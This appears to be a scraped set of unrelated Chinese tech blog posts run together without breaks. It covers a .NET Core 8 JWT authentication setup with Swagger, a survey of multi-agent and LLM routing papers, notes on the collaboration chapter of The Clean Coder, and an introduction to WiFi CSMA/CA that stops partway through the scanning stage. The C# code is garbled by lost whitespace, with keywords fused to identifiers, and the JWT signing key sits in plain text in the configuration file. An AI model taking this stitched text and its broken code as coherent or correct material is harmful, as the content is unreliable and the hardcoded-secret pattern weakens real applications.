2024年9月

说明

该文章是属于OverallAuth2.0系列文章,每周更新一篇该系列文章(从0到1完成系统开发)。

该系统文章,我会尽量说的非常详细,做到不管新手、老手都能看懂。

说明:OverallAuth2.0 是一个简单、易懂、功能强大的权限+可视化流程管理系统。

结合上一篇文章使用,味道更佳:
.net core8 使用Swagger(附当前源码)

有兴趣的朋友,请关注我吧(*^▽^*)。

第一步:安装最新Jwt包

包名:Microsoft.AspNetCore.Authentication.JwtBearer

第二步:appsettings.json中配置jwt

 /*jwt鉴权*/
 "JwtSetting": {"Issuer": "微信公众号:不只是码农", //发行人
   "Audience": "微信公众号:不只是码农", //订阅人
   "ExpireSeconds": 120, //过期时间,默认分钟
   "ENAlgorithm": "HS256", //秘钥算法
   "SecurityKey": "bzsmn=Start20240913EndOverallAuth-WebApi" //秘钥构成
 }

第三步:创建jwt解析模型

在OverallAuth-WebApi项目的目录下创建文件夹【model】,并创建一个类文件JwtSettingModel.cs

OverallAuth-WebApi结构,见上一篇文章:
.net core8 使用Swagger(附当前源码)

 /// <summary>
 ///jwt配置模型/// </summary>
 public classJwtSettingModel
{
/// <summary> ///密钥/// </summary> public string SecurityKey { get; set; }/// <summary> ///加密算法/// </summary> public string ENAlgorithm { get; set; }/// <summary> ///颁发者/// </summary> public string Issuer { get; set; }/// <summary> ///接收者/// </summary> public string Audience { get; set; }/// <summary> ///过期时间 单位:秒/// </summary> public int ExpireSeconds { get; set; }
}

目录结构如下:

第四步:创建Jwt、AppSettings插件

目录结构如下:

上图可以看到,我们创建了JwtPlugInUnit和AppSettingsPlugInUnit2个插件,它分别对应jwt和AppSettings配件文件的解析。

那么我们看下,这2个类里面的具体内容。

JwtPlugInUnit如下:

/// <summary>
///jwt插件/// </summary>
public static classJwtPlugInUnit
{
/// <summary> ///初始化JWT/// </summary> /// <param name="services"></param> public static void InitJWT(thisIServiceCollection services)
{
var jwtsetting = AppSettingsPlugInUnit.GetNode<JwtSettingModel>("JwtSetting");
services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
.AddJwtBearer(o
=>{
o.TokenValidationParameters
= newTokenValidationParameters()
{
ValidateIssuerSigningKey
= true,
ValidIssuer
=jwtsetting.Issuer,
ValidAudience
=jwtsetting.Audience,
IssuerSigningKey
= newSymmetricSecurityKey(Encoding.ASCII.GetBytes(jwtsetting.SecurityKey)),
ValidateIssuer
= true,
ValidateAudience
= true,
ValidateLifetime
= true,
ClockSkew
=TimeSpan.Zero
};
});
}
}

AppSettingsPlugInUnit如下:

 /// <summary>
 ///AppSettings配置文件插件/// </summary>
 public classAppSettingsPlugInUnit
{
/// <summary> ///声明配置属性/// </summary> public static IConfiguration Configuration { get; set; }/// <summary> ///构造函数/// </summary> staticAppSettingsPlugInUnit()
{
Configuration
= newConfigurationBuilder()
.Add(
new JsonConfigurationSource { Path = "appsettings.json", ReloadOnChange = true})
.Build();
}
/// <summary> ///获得配置文件的对象值/// </summary> /// <param name="jsonPath">文件路径</param> /// <param name="key"></param> /// <returns></returns> public static string GetJson(string jsonPath, stringkey)
{
if (string.IsNullOrEmpty(jsonPath) || string.IsNullOrEmpty(key)) return null;
IConfiguration config
= new ConfigurationBuilder().AddJsonFile(jsonPath).Build();//json文件地址 return config.GetSection(key).Value;//json某个对象 }/// <summary> ///获取数据库连接字符串/// </summary> /// <returns></returns> public static stringGetMysqlConnection()
{
return Configuration.GetConnectionString("MySql").Trim();
}
/// <summary> ///根据节点名称获取配置模型/// </summary> /// <typeparam name="T"></typeparam> /// <param name="Node"></param> /// <returns></returns> public static T GetNode<T>(string Node) where T : new()
{
T model
= Configuration.GetSection(Node).Get<T>();returnmodel;

}
}

第五步:让jwt遵守Swagger协议

因为我们系统使用到了Swagger,所以要让jwt遵守Swagger协议,因此我们要在Swagger中添加如下代码。

/// <summary>
///初始化Swagger/// </summary>
/// <param name="services"></param>
public static void InitSwagger(thisIServiceCollection services)
{
//添加swagger services.AddSwaggerGen(optinos =>{typeof(ModeuleGroupEnum).GetEnumNames().ToList().ForEach(version =>{
optinos.SwaggerDoc(version,
newOpenApiInfo()
{
Title
= "权限管理系统",
Version
= "V2.0",
Description
= "求关注,求一键三连",
Contact
= new OpenApiContact { Name = "微信公众号作者:不只是码农 b站作者:我不是码农呢", Url = new Uri("http://www.baidu.com") }
});

});
//反射获取接口及方法描述 var xmlFileName = $"{Assembly.GetExecutingAssembly().GetName().Name}.xml";
optinos.IncludeXmlComments(Path.Combine(AppContext.BaseDirectory, xmlFileName),
true);

//使用jwt
optinos.AddSecurityDefinition(
"Bearer", newOpenApiSecurityScheme
{
Description
= "请在下方输入框子输入Bearer Token 开启JWT鉴权",
Name
= "Authorization", //默认名称,不能修改 In =ParameterLocation.Header,
Type
=SecuritySchemeType.ApiKey,
Scheme
= "Bearer"});//让swagger遵守jwt协议 optinos.AddSecurityRequirement(newOpenApiSecurityRequirement
{
{
newOpenApiSecurityScheme
{
Reference
= newOpenApiReference
{
Type
=ReferenceType.SecurityScheme,
Id
= "Bearer"}
},
new List<string>()
}
});

});
}

说明:InitSwagger方法是初始化Swagger的方法,在上一篇文章:
.net core8 使用Swagger(附当前源码)
中有讲到。

第六步:初始化Jwt

在Program中添加一下代码,初始化Jwt

第七步:验证Jwt

做好以上步骤,jwt就可以正常使用。

当你看到图中标识时,就表示jwt初始化成功,就可以在系统中使用jwt鉴权等操作。

使用【[Authorize]】、【 [AllowAnonymous]】特性测试鉴权。

以下2个接口一个需要验证、一个不需要验证,我们来测试下。

[Authorize]开启验证测试

CheckJwt接口:开启验证,不传token

可以看到,开启jwt验证的,接口在没有传入token的情况下,访问失败。

UnCheckJwt接口:不开启验证。

以上就是.net core8 使用jwt系统鉴权的配置过程。

感谢你的耐心观看。

如果对你有帮助,请关注我微信公众号吧(*^▽^*)。

源代码地址:https://gitee.com/yangguangchenjie/overall-auth2.0-web-api

帮我Star,谢谢。

有兴趣的朋友,请关注我微信公众号吧(*^▽^*)。

关注我:一个全栈多端的宝藏博主,定时分享技术文章,不定时分享开源项目。关注我,带你认识不一样的程序世界

常见的多智能体框架有几类,有智能体相互沟通配合一起完成任务的例如ChatDev,CAMEL等协作模式, 还有就是一个智能体负责一类任务,通过选择最合适的智能体来完成任务的路由模式,当然还有一些多智能体共享记忆层的复杂交互模式,这一章我们针对智能体路由,也就是选择最合适的智能体来完成任务这个角度看看有哪些方案。

上一章我们讨论的何时使用RAG的决策问题,把范围放大,把RAG作为一个智能体,基座LLM作为另一个智能体,其实RAG决策问题也是多智能体路由问题的一个缩影。那实际应用场景中还有哪些类型的智能体路由呢?

  • 不同角色的智能体,例如看到最搞笑的是不同流派的算命机器人
  • 不同工具挂载的智能体,例如接入不同知识库,拥有不同领域工具
  • 不同思考方式的智能体,例如COT思考,有Step-back思考,有outline思考
  • 不同工作流的智能体,例如例如不使用RAG,使用单步RAG,多步RAG的智能体路由
  • 把以上融合,也就是不同角色,工具,思考方式,工作流的综合智能体路由

而这里我们看两种外挂策略,也就是可以直接在当前已有多智能体外层进行路由的方案。

基于能力和领域的智能体路由

MARS其实是一篇大模型出现前的文章,但是却可以作为多Agent路由的基础文章之一,它主要针对当
不同领域(能力)的智能体选择
。思路非常清晰。论文先定义了多智能体选择问题,该问题的组成元素包括

  • query: 用户提问
  • agent skill:对于智能体能力的描述,也可以是sample queries
  • agent response:智能体对用户提问的回答

那自然就有两种智能体选择的方案,
一个是直接基于query进行选择(Query-Pairing),一个是基于智能体response进行选择(Response-pairing)
,当前的多智能体决策也就是这两个大方向,前者更快但精度有限,后者更慢但效果更好。下面说下方案中的细节,因为实际操作时你会发现两个方案都有难点。

image

Question pairing

基于query进行判断的问题在于
如何描述agent能干啥
,论文指出智能体的能力边界不好界定,更难描述。

论文给出的一个方案是使用
query sample
,虽然不知道模型的全局能力,但是基于用户历史的使用情况,可以知道模型能回答哪些query,例如"locate me some good places in Kentucky that serve sushi"这个问题,"Alexa", "Google"可以回答这个问题。那就可以基于历史收集的query样本训练一个
多标签分类模型,预测每个query哪些智能体可以回答
。其实这种方案也是使用了response,只不过使用的是历史agent回答。

除了query分类,论文还用了相似度。论文收集了agent在公开网站上的能力描述,例如"Our productivity bot helps you stay productive and organized. From sleep timers and alarms to reminders, calendar management, and email ....".然后使用agent描述和query的文本相似度排序作为agent能否回答该问题的判断。这里论文尝试了bm25,USE,还有微调Roberta等方式进行向量编码。之前我们也考虑过类似KNN的方案,但这种方案有个问题在于文本相似可以衡量领域差异,例如数学Agent,金融Agent,但是无法区分任务复杂程度,所以不适用于领域之外的其他agent路由场景。

Response Pairing

使用在线模型回答来进行路由的核心难点其实就是如何判断response质量,论文指出的是前文多通过response和query的相似度来判断,这是不够的,还要判断准确性,因此论文采用了cross-encoder训练了query-response ranking模型。不过在大模型出来后的这两年,对于response回答质量有了更全面的评价标准,例如OpenAI的3H(Helful, Harmless,Honesty),DeepMind更关注的2H(helpful, harmless),也有了更多的Reward和Judement模型的训练方案,感兴趣的同学可以去看
好对齐RLHF-OpenAI·DeepMind·Anthropic对比分析

这里就不细说论文的方案了,直接来看下效果吧。论文在22年当时的四大Agent(Aleax,Google,houndify,Adasa)上评估,基于Response排序的方案最好,不过使用Query Sample分类的方案效果也不差。

image

基于问题复杂程度的智能体路由

  • Adaptive-RAG: Learning to Adapt Retrieval-Augmented Large Language Models through Question Complexity

前面的MARS更多是从领域层面对智能体进行划分,例如bank agent,weather agent,transport agent,但是RAG问题上,领域差异更多只影响数据库路由,也就是使用哪些召回,查什么数据。还有一个更重要的差异,来自问题的复杂度。类似的方案有SELF-RAG,不过它是把路由融合在了模型推理的过程中,整体复杂度太高,可用性就有些低了。所以我们看下Adaptive-RAG的外挂路由的方案。

Adaptive-RAG提出了通过分类器,对query复杂程度进行分类,并基于分类结果分别选择LLM直接回答,简单单步RAG,或者复杂多步RAG(论文选择了Interleaving-COT),如下图
image

那如何判断一个query的复杂程度呢,这里其实和前面MARS提出的query pairing中的query多标签分类模型的思路是相似的。也是使用同一个query,3种模式的回答结果的优劣作为标签来训练分类模型,当然也可以是listwise排序模型。论文使用的是有标准答案的QA数据集,因此多模型回答的结果判断起来会比较简单,这里3种回答方式也有优先级,那就是更简单的链路能回答正确的话,默认标签是最简单的方案。这里的query分类器,论文训练了T5-Large,样本只有400条query,以及每个问题对应在3种链路上的回答结果。

而在现实场景中RAG样本的反馈收集要复杂的多,需要先基于标注样本训练Reward模型,得到对回答质量的评分,再使用Reward模型对多个链路的回答进行打分从而得到分类标签。

如果你的RAG链路选择更多,优先级排序更加复杂的话,不妨使用多标签模型,得到多个候选agent,再基于多个agent之间的优先级选择复杂程度最低,或者在该任务上优先级最高的Agent进行回答。

效果论文分别在single-step和multi-hopQA数据集上进行验证,Adaptive都能在保证更优效果的同时,使用更少的时间和步骤完成任务(Oracle是当分类器完全正确时的效果比较天花板)

image

基于用户偏好的智能体路由

  • Zooter:Routing to the Expert: Efficient Reward-guided Ensemble of Large
    Language Models

第三篇论文是从用户回答偏好出发,选择最合适的agent,其实也是最优的基座模型。基座模型Ensemble和Routing也算是智能体路由中的一个独立的方向,包括的大模型小模型路由以求用更少的成本更快的速度来平衡效果,也有多个同等能能力的模型路由来互相取长补短。个人认为基座模型的路由比不同领域的Agent,或者rag要复杂一些,因为基座模型间的差异在文本表征上更加分散,抽象难以进行归类和划分。这差异可能来自预训练的数据分布差异,指令数据集的风格差异,或者rlhf的标注规则差异等等~

正是因为难以区分,所以基座模型路由要是想使用query-pairing达到可以和response-pairing相近的效果和泛化性,需要更多,更丰富的训练数据。Zooter给出的就是蒸馏方案,也就是训练reward模型对多模型的回答进行评分,然后把模型评分作为标签来训练query路由模型。如下

image

蒸馏部分,论文借鉴了蒸馏损失函数,为了从reward模型中保留更多的信息,这里没有把多模型的reward打分最后转化成top-answer的多分类问题,而是把reward打分进行了归一化,直接使用KL-divergence让模型去拟合多个模型回答之间的相对优劣。同时考虑到reward-model本身的噪声问题,论文在蒸馏时也使用了label-smoothing的方案来降低噪声,提高模型回答置信度。其实也可以使用多模型reward打分的熵值来进行样本筛选。

奖励函数,论文使用QwenRM作为reward模型,混合多数据集构建了47,986条query样本,对mdeberta-v3-base进行了蒸馏训练。

效果上,论文对比了6个单基座模型,使用蒸馏后的模型进行query路由(ours),以及使用不同Reward模型对response进行路由,还有SOTA GPT3.5和GPT4

  • 不同Reward模型的效果差异较大,在当前评估的4个任务集上,Qwen和Ultra的效果要显著更好
  • 论文蒸馏的方式训练的Zooter模型在query路由的效果上可以基本比肩使用RM进行response路由,使用1/6的推理成本就能做到相似的效果有相似的推理效果

image

更多智能体路由相关方案

更多RAG路由,智能体路由,基座模型路由Ensemble的论文,大家感兴趣的可以自己去看

  • 智能体路由
    • One Agent To Rule Them All: Towards Multi-agent Conversational AI
    • A Multi-Agent Conversational Recommender System
  • 基座模型路由&Ensemble
    • Large Language Model Routing with Benchmark Datasets
    • LLM-BL E N D E R: Ensembling Large Language Models with Pairwise Ranking and Generative Fusion
    • RouteLLM: Learning to Route LLMs with Preference Data
    • More Agents Is All You Need
    • Routing to the Expert: Efficient Reward-guided Ensemble of Large Language Models
  • 动态RAG(When to Search & Search Plan)
    • SELF-RAG: LEARNING TO RETRIEVE, GENERATE, AND CRITIQUE THROUGH SELF-REFLECTION ⭐
    • Self-Knowledge Guided Retrieval Augmentation for Large Language Models
    • Self-DC: When to retrieve and When to generate Self Divide-and-Conquer for Compositional Unknown Questions
    • Small Models, Big Insights: Leveraging Slim Proxy Models To Decide When and What to Retrieve for LLMs
    • Adaptive-RAG: Learning to Adapt Retrieval-Augmented Large Language Models through Question Complexity
    • REAPER: Reasoning based Retrieval Planning for Complex RAG Systems
    • When to Retrieve: Teaching LLMs to Utilize Information Retrieval Effectively
    • PlanRAG: A Plan-then-Retrieval Augmented Generation for Generative Large Language Models as Decision Makers

想看更全的大模型相关论文梳理·微调及预训练数据和框架·AIGC应用,移步Github >>
DecryPrompt

代码整洁之道

image-20240904225436374

简介:

本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更高台阶。

本书适合所有程序员阅读,也可供所有想成为具备职业素养的职场人士参考。

第十二章 协作

image-20240918072128072

大多数软件都是由团队开发出来的。当团队成员能够十分专业地互相协作时,整个团队是最为高效的。单打独斗与游离于团队之外都是不专业的表现。

12.1 程序员与人

我们并非是因为喜欢和其他人在一起工作才选择做程序员的。我们都认为人际关系难以应付而且毫无规律。编程用的机器则整洁,行为也可预见。
如果可以一个人待在房间里数个小时沉浸在一些真正有趣的问题上,那将会是最开心的时光。

好吧,我这么说可能有点儿以偏概全了,确实也有不少例外。有许多程序员很善于和别人共事合作,享受其中的挑战。但是整个群体的平均状况还是朝我所描述的方向发展的。
我们,程序员们,还是最享受面无表情的沉思,把自己像蚕茧一样裹起来,沉浸于问题思考中。

程序员与雇主:

专业程序员的首要职责是满足雇主的需求。这意味着要和你的经理们、业务分析师们、测试工程师们和其他团队成员很好地协作,深刻理解业务目标。这并不是说你必须要成为业务方面的老学究,而是说你需要理解手上正在编写的代码的业务价值是什么,了解雇你的企业将如何从你的工作中获得回报。

因此,专业程序员会花时间去理解业务。他们会和用户讨论他们正在使用的软件,会和销售人员与市场人员讨论所遭遇的问题,会和经理们沟通,明确团队的短期目标和长期目标。

程序员与程序员:

程序员与程序员之间通常很难密切合作,这就会带来一些不小的问题。

  1. 代码个体所有

    不正常的团队最糟糕的症状是,每个程序员在自己的代码周边筑起一道高墙,拒绝让其他程序员接触到这些代码。我曾在许多地方看到过,不少程序员甚至不愿让其他程序员看见他们的代码。这是引发灾难的“最有效秘诀”。

  2. 协作性的代码共有权

    我赞同这种做法:团队中每位成员都能签出任何模块的代码,做出任何他们认为合适的修改。我期望拥有代码的是整个团队,而非个人。专业开发人员是不会阻止别人修改代码的。他们不会在代码上构造所有权的藩篱,而是尽可能多地互相合作。他们通过合作来达到学习的目的。

  3. 结对

    “专业人士会结对工作。”为什么?因为至少对有些问题而言,结对是最有效的解决方法。

    专业人士结对工作,还因为这是分享知识的最好途径。

    专业人士之所以结对,是因为结对是复查代码最好的方式。(
    最有效率且最有效果的代码复查方法,就是以互相协作的方式完成代码编写。

12.2 一起协作

专业人士会共同工作。当戴着耳机坐在角落里时,你是无法参与合作的。因此,我期望大家能够围坐在一张桌子前,彼此面对面。你要能够感受到其他人的恐惧担忧,要能够听到其他人工作不顺时的牢骚,要有口头上和肢体语言上的下意识的沟通交流。整个团队要像一个统一的整体,彼此连通。

也许你认为自己一个人工作时会做得更好。也许确实如此,但这并不意味着你一个人工作时,整个团队会做得更好。况且,事实上,一个人单独工作时,不太可能会工作得更好。有些时候,单独工作是正确的。当你只是需要长时间努力思考一个问题时,可以一个人单独工作。当任务琐碎且无足轻重、和另外一个人一起工作显得浪费时,可以一个人工作。但是一般说来,和其他人紧密协作、在大部分时间段中结对工作,是最好的做法。

12.3 结论

也许我们不是因为通过编程可以和人互相协作才选择从事这项工作的。但真不走运,编程就意味着与人协作。我们需要和业务人员一起工作,我们之间也需要互相合作。

liwen01 2024.09.16

前言

802.11 无线 WiFi 网有三类帧:
数据帧、管理帧、控制帧
。与有线网相比,无线 WiFi 网会复杂很多。大部分应用软件开发对 WiFi 的控制帧和管理帧了解得并不多,因为它们在物理层和数据链路层就已经被处理了,上层应用很少能感知到。

一般是在设备出现 WiFi 连接不上,或者是工作不稳定的情况下,才会去分析 WiFi 驱动工作情况以及抓 WiFi 空口包数据来分析。

有抓过 WiFi 空口包的同学应该清楚,无线 WiFi 网的网络包不管是从包类型还是包信息内容来看,都会比有线网的包复杂很多。

Image

这篇主要介绍有线网与无线 WiFi 网在物理层的差异、WiFi 介质访问控制原理和它的一些关键技术以及无线用户的接入过程。

WiFi 空口包抓包、分析,以及各类 WiFi 帧结构的介绍放到下一篇介绍。这篇是基础原理知识的介绍,也是后面一篇 WiFi 帧分析的基础。

(一) 有线与无线网物理层差异

Image

  • CSMA/CD 用于有线网络,通过检测和处理冲突来维持网络的稳定性。
  • CSMA/CA 用于无线网络,强调冲突的预防,以应对无线信道共享的挑战。

(1) 有线网 CSMA/CD

在有线网络中,设备间通过网线相互连接,它的工作原理是:

载波侦听
:设备在发送数据之前会先监听网络,以检测是否有其他设备在传输数据。如果检测到网络空闲,则开始发送数据。

冲突检测:
在数据发送过程中,设备持续监听网络。如果检测到冲突 (即两个或多个设备同时发送数据导致信号混合) ,发送数据的设备会停止传输,并发送一个“冲突信号”以通知网络上的其他设备。

重传数据:
发生冲突后,设备会等待一段随机的时间后再次尝试发送数据。这个随机等待时间称为“退避算法”,可以有效减少后续冲突的可能性。

这个就是有线网
CSMA/CD (Carrier Sense Multiple Access with Collision Detection,载波侦听多路访问与冲突检测)
的工作原理。

它依赖的是网线共享介质,
设备在数据发送的过程中,还可以检测网线状态

(2) 无线网 CSMA/CA

与有线网不同的是,无线网它是通过电磁波进行数据交互。
无线是半双工工作模式,无线客户端没有同时进行接收和发送的能力,无法检测到冲突。

所以有线网络中的冲突检测方式,在无线中并不适用,并且无线中还存在相邻站点不一定能侦听到对方的情况:

Image

手机位于两个路由器中间,并且距离两个路由器都比较远,这个时候路由器 AP1 检测不到路由器 AP2 的信号,两个路由器之间都不知道对方是否有在给手机 STA2 发送数据。

所以无线网引入了
CSMA/CA
( Carrier Sense Multiple Access with Collision Avoidance,载波侦听多路访问/冲突避免)

(3) CSMA/CA 工作原理:

载波侦听
:设备在发送数据之前也会监听无线信道,检查是否有其他设备在使用。只有信道空闲,设备才会继续执行发送操作。

冲突避免
:为了尽量避免冲突,在发送数据之前,设备可能会先发送一个“
准备发送
”信号 (如RTS,即请求发送) ,并等待接收设备返回“
允许发送
”信号 (如CTS,即清除发送) 。

数据发送
:收到 CTS 信号后,设备才会发送数据。

ACK确认
:数据发送成功后,接收设备会发送一个确认信号 (ACK) 。如果发送设备在规定时间内没有收到 ACK,它会认为数据丢失并重新发送。

由于无线网引入了额外的信号交换 (如 RTS/CTS) 和 ACK 等机制,增加了无线网设备连接、数据交互的复杂度。

(二) CSMA/CA 的关键技术

Image

(1) ACK 确认机制 (Acknowledgment Mechanism)

在数据帧成功发送并被接收设备接收到后,接收设备会发送一个
ACK (Acknowledgment)帧
给发送设备,表示数据成功到达。

如果发送设备在指定时间内未收到 ACK,它会认为数据丢失并重新发送。

Image

ACK 机制
保证了数据传输的可靠性,避免了数据丢失后无反馈导致的传输失败。

(2) RTS/CTS 机制 (Request to Send / Clear to Send)

RTS/CTS 机制
是 CSMA/CA 中用于减少冲突的关键技术。它通过引入“
准备发送
”请求 (RTS) 和“
允许发送
”确认 (CTS) 这两个控制帧,在发送数据之前确保信道空闲,减少隐蔽节点问题。

RTS(Request to Send)
:发送设备首先向接收设备发送一个 RTS 帧,表明自己想要发送数据。

CTS (Clear to Send)
:接收设备在确认信道空闲后,会回复一个 CTS 帧,允许发送设备进行数据传输。

(a) RTS/CTS与隐藏节点:

隐藏节点
指在接收者的通信范围内而在发送者通信范围外的节点。

Image

  • PC1 要发送数据,所以它发送了 RTS 帧, 这时路由器可以收到该 RTS 帧,但是 PC2 与 PC1 距离较远,PC2 收不到 PC1 的 RTS 帧。
  • 路由器 AP 收到PC1 的 RTS 帧后,会同时向 PC1 和 PC2 发送 CTS 帧
  • PC1 收到路由器发的 CTS 帧后,PC1 开始发送数据。
  • PC2 收到路由器发的 CTS 帧后,PC2 保持安静,不能发送数据

(b) RTS/CTS与暴露节点:

暴露节点
指在发送者的通信范围之内而在接收者通信范围之外的节点

Image

AP1 和 AP2 属于同一个信道,当 PC1 向 AP1 发送数据时,PC2 也希望向 AP2 发送数据。

根据 CSMA/CA 协议,PC2 侦听信道,它将听到 PC1 正在发送数据,于是错误地认为它此时不能向 AP2 发送数据,但实际上它的发送不会影响 AP1 的数据接收,这就导致 PC2 所谓暴露节点问题的出现。

Image

(c) 暴露节点解决方案

  • PC1 要发送数据,于是发送 RTS 帧,AP1 和 PC2 都可以接收到该 RTS帧
  • AP1 收到 RTS 帧后,会发送 CTS 帧
  • PC1 收到 CTS 帧后可以开始传输数据
  • PC2 如果也收到了 AP1 的 CTS 帧,PC2 不能与 AP2 发送数据,只能保持安静
  • PC2 如果只收到 PC1 的 RTS 帧,但是没有收到 AP1 发送的 CTS帧,这个时候 PC2 可以发送数据给 AP2,并且也不会影响到 AP1 数据的接收

通过 RTS/CTS 机制,避免了同时传输引发的冲突。

(3) 随机退避算法 (Random Backoff Algorithm)

当信道忙碌时,设备不会立即重新尝试发送数据,而是会等待一个随机的时间段后再尝试。这种随机等待时间由
退避算法
(Backoff Algorithm) 决定,以减少多个设备同时再次尝试发送数据的可能性,从而避免冲突。

具体做法是,在每次检测到信道忙碌后,设备会生成一个随机退避时间。退避时间越长,设备等待的时间越久,从而分散重试时间点,降低冲突概率。

Image

  • 发送数据前随机选取退避时间
  • 退避时间最短的站优先发送数据帧
  • 最短的时间为退避窗口
  • 新的退避时间 = 上次退避时间 - 退避窗口

(4) 帧间间隔 (Interframe Space, IFS)

IFS  (Interframe Space, 帧间间隔)
用于控制设备在发送数据帧之间的等待时间,以确保无线信道的公平性和有效性。根据不同的情况,IEEE 802.11 标准定义了几种不同类型的 IFS:

(a) 短帧间间隔 (Short Interframe Space, SIFS)

应用场景
:用于高优先级的操作,如 ACK 确认帧、CTS 帧、以及从站的响应帧。

特点
:SIFS 是所有 IFS 中最短的,确保重要数据能够迅速传输而不受其他帧的干扰。由于它的间隔短,接收方可以快速发出确认,减少等待时间,提高数据传输效率。

(b) 点协调功能帧间间隔 (Point Coordination Function Interframe Space, PIFS)

应用场景
:用于集中控制模式下,接入点 (AP) 在无竞争的情况下使用,如在 PCF (点协调功能) 模式下的优先级操作。

特点
:PIFS 的等待时间比 DIFS 短,但比 SIFS 长。它主要用于在竞争前启动通信,以便接入点在竞争阶段之前获得信道控制权。

(c) 分布式协调功能帧间间隔 (Distributed Coordination Function Interframe Space, DIFS)

应用场景
:用于普通数据帧的传输,通常在竞争环境中使用。

特点
:DIFS 是正常数据帧在竞争信道时使用的间隔。它的等待时间比 PIFS 长,确保优先级较低的设备在优先级较高的操作完成后再尝试发送数据。

(d) 扩展帧间间隔 (Extended Interframe Space, EIFS)

应用场景
:当一个设备接收到一个有错误的数据帧时,它会等待 EIFS 时间后再试图发送数据。

特点
:EIFS 是所有 IFS 中最长的,旨在避免网络中更多的冲突或干扰发生。当设备认为信道状况不佳时,会使用更长的等待时间以减少进一步的冲突。

(e)应用实例

Image

  • 发送者想要发送数据,先侦听信道状态,如果空闲,它就会发送一个 RTS 帧(请求发送帧)
  • 接收者接收到该 RTS 帧之后,等待一个 SIFS (短帧间间隔)时间后,再发送一个 CTS 帧(可以发送数据了)
  • 发送者收到 CTS 帧之后,间隔一个 SIFS (短帧间间隔)时间后,发送数据帧。
  • 接受者接收到数据后,再间隔一个 SIFS 后应答一个 ACK 帧
  • 最下面一行的 NAV 是其它设备的一个时间记时器,当设备的 NAV 计时器大于零时,设备会认为信道正在被其他设备占用,因此不会尝试进行传输,被进制访问介质。
  • ACK 之后有个 DIFS (分布式协调功能帧间间隔),这是个竞争窗口,容许优先级低的设备再尝试发送数据。

通过不同的 IFS 间隔时间,CSMA/CA 可以控制不同类型的数据帧在信道上的优先级。高优先级的数据帧 (如 ACK 和 CTS) 使用较短的间隔,确保它们能快速获得信道使用权。

通过强制设备在每次传输前等待一定时间,IFS 降低了多个设备同时传输的可能性,减少了冲突的发生。

(5) 载波侦听 (Carrier Sensing)

(a) 物理载波侦听与虚拟载波侦听

载波侦听
在设备发送数据之前,它会先侦听无线信道,检查是否有其他设备在使用该信道。如果信道空闲,设备才会继续后续的发送操作。这一过程被称为
物理载波侦听

虚拟载波侦听
是通过网络分配器 (如无线接入点) 来管理信道的占用情况,利用控制帧 (如 RTS/CTS)来减少冲突。

(b) 网络分配向量(Network Allocation Vector,NAV)

NAV 是无线设备在信道上听到某些控制帧 (如 RTS/CTS 或数据帧) 时设置的一个计时器。这个计时器表示该设备预计信道会被占用的时间,设备会在 NAV 计时器归零之前避免传输数据。

(c) NAV 的工作原理

NAV 设置:
当一个设备在无线信道上接收到某个帧 (如 RTS 或 CTS) 时,它会读取该帧中的持续时间字段 (Duration Field) 。这个字段表示该帧预期的占用时间,包括发送数据帧和接收 ACK 所需的时间。接收设备会根据这个持续时间设置自己的 NAV 计时器。

信道占用判断:
当设备的 NAV 计时器大于零时,设备会认为信道正在被其他设备占用,因此不会尝试进行传输。NAV 计时器归零后,设备会再次检查信道是否空闲,如果空闲,则可以开始自己的传输。

NAV 与物理载波侦听的结合
:NAV 是一种
虚拟载波侦听
机制,它与
物理载波侦听
相结合。

物理载波侦听是通过硬件直接检测信道上的信号强度,来判断信道是否被占用。

NAV 通过读取帧信息来推断信道的占用状态。物理载波侦听与 NAV 结合使用,有助于更准确地判断信道状态,减少冲突。

Image

PC1 给路由器发送数据帧,同一个范围的PC2、PC3、phone 也会收到该数据帧帧。

PC1 发送的数据帧在该帧的 MAC 头部有个 Duration 字段,表示持续时间,它包括一个短帧间间隔(SIFS)时间加上 ACK 帧的时间,假设该时间是50us。

PC2、PC3、phone 在收到 frame 数据帧后,会去读取该帧的 Duration 字段,然后重置自己的
NAV
计数器为 Duration 字段的值 50 us。

(三)无线用户接入过程

我们手机、笔记本电脑等设备的 WiFi 模块一般工作在 STA 模式,路由器的 WiFi 一般工作在 AP 模式。当我们 STA 设备连接到路由器 AP 的时候,有三个过程:
扫描、认证、关联

Image

  • 扫描阶段
    STA进行扫描,定期搜索周围的无线网络,获取到周围的无线网络信息。

  • 认证阶段
    STA 接入 WiFi 网络前需要进行终端身份验证,即链路认证。链路认证通常被认为是终端连接 AP 并访问 WiFi 的起点。

  • 关联阶段
    完成链路认证后,STA 会继续发起链路服务协商。

(1) 扫描阶段 (Scanning)

扫描阶段 (Scanning)
是 WiFi 设备连接无线网络的第一步,设备通过扫描找到可用的无线接入点 (Access Point, AP) ,从而选择合适的 AP 进行连接。WiFi 标准中定义了两种主要的扫描方式:主动扫描 (Active Scanning) 和被动扫描 (Passive Scanning) 。每种方式有其特点和应用场景。

(a) 主动扫描 (Active Scanning)

在主动扫描过程中,设备会主动向周围的无线信道发送探测请求 (Probe Request) ,并等待 AP 发送探测响应 (Probe Response) 。这个过程可以快速发现周围的 WiFi 网络,尤其是在设备不知道有哪些网络可用的情况下。主动扫描的过程分为以下几个步骤:

探测请求 (Probe Request)
设备依次切换到不同的信道 ( WiFi 网络使用多个信道进行通信,不同的标准使用不同的信道范围,比如 2.4GHz 频段有 14 个信道) 。

在每个信道上,设备会发送探测请求帧 (Probe Request) 。这个探测请求可以是针对所有网络的广播,也可以是针对特定 SSID 的单播。

Image

针对某个特定 SSID 的单播,探测包中有携带需要探测的 SSID 信息,只有 SSID 能够匹配上的 AP 才会返回探测响应包。

这种场景一般是设备已经配置过网络,设备端有保存需要连接的 AP ,设备上电就直接扫描该 AP 是否存在。

Image

当探测请求是针对所有网络的广播时,探测包中 SSID 信息是为 NULL,接收到该探测包的 AP 都会返回探测响应包。

比较常见的场景是我们要手动去连接 WiFi 时,先会去扫描所有的信道的 WiFi 热点,然后生成一个 WiFi 热点列表。

探测请求的主要内容包括:

  • SSID (可以是具体的SSID,也可以是广播请求)
  • 支持的速率
  • 扩展功能信息 (如支持的安全协议)

探测响应 (Probe Response)

AP在接收到探测请求后,会返回探测响应帧 (Probe Response) 。这个响应帧包含AP的详细信息,例如:

  • SSID (网络名称)
  • BSSID (AP的MAC地址)
  • 信道号
  • 支持的速率
